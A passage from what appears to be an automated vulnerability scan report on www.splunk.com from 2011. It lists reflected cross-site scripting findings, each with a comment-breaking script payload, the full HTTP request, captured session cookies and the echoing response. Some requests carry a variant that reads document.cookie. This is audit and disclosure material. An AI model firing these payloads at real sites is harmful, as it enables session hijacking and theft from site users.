The value of REST URL parameter 1 is copied into an HTML comment. The payload 74c98--><script>alert(1)</script>b9ac1a0b174 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /74c98--><script>alert(1)</script>b9ac1a0b174/appofthemonth HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:15:29 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: e9bb93a07abe8059990eb0092b073c0a1297008929
Last-Modified: Sun, 06 Feb 2011 16:15:29 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18327

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b9ac1a0b174/appofthemonth -->
...[SNIP]...

4.400. http://www.splunk.com/index.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/index.php

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload c48d6--><script>alert(1)</script>3cafe7a8ef7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /c48d6--><script>alert(1)</script>3cafe7a8ef7?module=roles&func=showloginform&redirecturl=http://www.splunk.com/download?ac=Adwords_Unix%26_kk=unix%2520server%26_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid=CPeW6bn_8aYCFcfe4Aod22SxHw%26redirecturl=/download HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:13:21 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:43:22 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:43:22 GMT; path=/
ETag: 4517e0ff5f5b685666852f82b7c214a01296944002
Last-Modified: Sat, 05 Feb 2011 22:13:22 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18568

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>3cafe7a8ef7?module=roles&func=showloginform&redirecturl=http://www.splunk.com/download?ac=Adwords_Unix%26_kk=unix%2520server%26_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid=CPeW6bn_8aYCFcfe4Aod22SxHw%26redirec
...[SNIP]...

4.401. http://www.splunk.com/index.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 5c3ca--><script>alert(1)</script>0dc09c4b0bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index.php?5c3ca--><script>alert(1)</script>0dc09c4b0bd=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:14:27 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: bae19f4c41b411b260b009a4a27d08691296944068
Last-Modified: Sat, 05 Feb 2011 22:14:28 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 56167

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/d
...[SNIP]...
<script>alert(1)</script>0dc09c4b0bd=1 -->
...[SNIP]...

4.402. http://www.splunk.com/index.php/download_track [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/index.php/download_track

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 72f33--><script>alert(1)</script>17142365ccb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index.php72f33--><script>alert(1)</script>17142365ccb/download_track HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:20:12 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:50:12 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:50:12 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>17142365ccb/download_track -->
...[SNIP]...

4.403. http://www.splunk.com/index.php/download_track [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/index.php/download_track

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload c3e53--><script>alert(1)</script>1909391eda3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index.php/download_trackc3e53--><script>alert(1)</script>1909391eda3 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:20:42 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18264

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>1909391eda3 -->
...[SNIP]...

4.404. http://www.splunk.com/index.php/sso_checker [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/index.php/sso_checker

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload c4885--><script>alert(1)</script>2061e00a373 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index.phpc4885--><script>alert(1)</script>2061e00a373/sso_checker?return_to=http://splunkbase.splunk.com/account:session/?redir=%2F%3F1ffc5%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E46cc332d1dc%3D1 HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:34:32 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:04:33 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:04:33 GMT; path=/
ETag: 5c9daeeefe5e6240c983686742c870771296945273-gzip
Last-Modified: Sat, 05 Feb 2011 22:34:33 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18851

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>2061e00a373/sso_checker?return_to=http://splunkbase.splunk.com/account:session/?redir=%2F%3F1ffc5%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E46cc332d1dc%3D1 -->
...[SNIP]...

4.405. http://www.splunk.com/index.php/sso_checker [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/index.php/sso_checker

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 70637--><script>alert(1)</script>77207d79957 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index.php/sso_checker70637--><script>alert(1)</script>77207d79957?return_to=http://splunkbase.splunk.com/account:session/?redir=%2F%3F1ffc5%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E46cc332d1dc%3D1 HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:53 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18742

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>77207d79957?return_to=http://splunkbase.splunk.com/account:session/?redir=%2F%3F1ffc5%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E46cc332d1dc%3D1 -->
...[SNIP]...

4.406. http://www.splunk.com/index.php/sso_checker [return_to parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/index.php/sso_checker

Issue detail

The value of the return_to request parameter is copied into an HTML comment. The payload cb2a8--><script>alert(1)</script>e93abf9519f was submitted in the return_to parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index.php/sso_checker?return_to=cb2a8--><script>alert(1)</script>e93abf9519f HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18359

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>e93abf9519f?id=173.193.214.243.1296942930878168 -->
...[SNIP]...

4.407. http://www.splunk.com/industries [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/industries

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload c0d74--><script>alert(1)</script>8f02be6ddd8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /industriesc0d74--><script>alert(1)</script>8f02be6ddd8 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:21:34 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:51:34 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:51:34 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18311

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>8f02be6ddd8 -->
...[SNIP]...

4.408. http://www.splunk.com/industries [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/industries

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 75e78--><script>alert(1)</script>332b08a5ae1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /industries?75e78--><script>alert(1)</script>332b08a5ae1=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
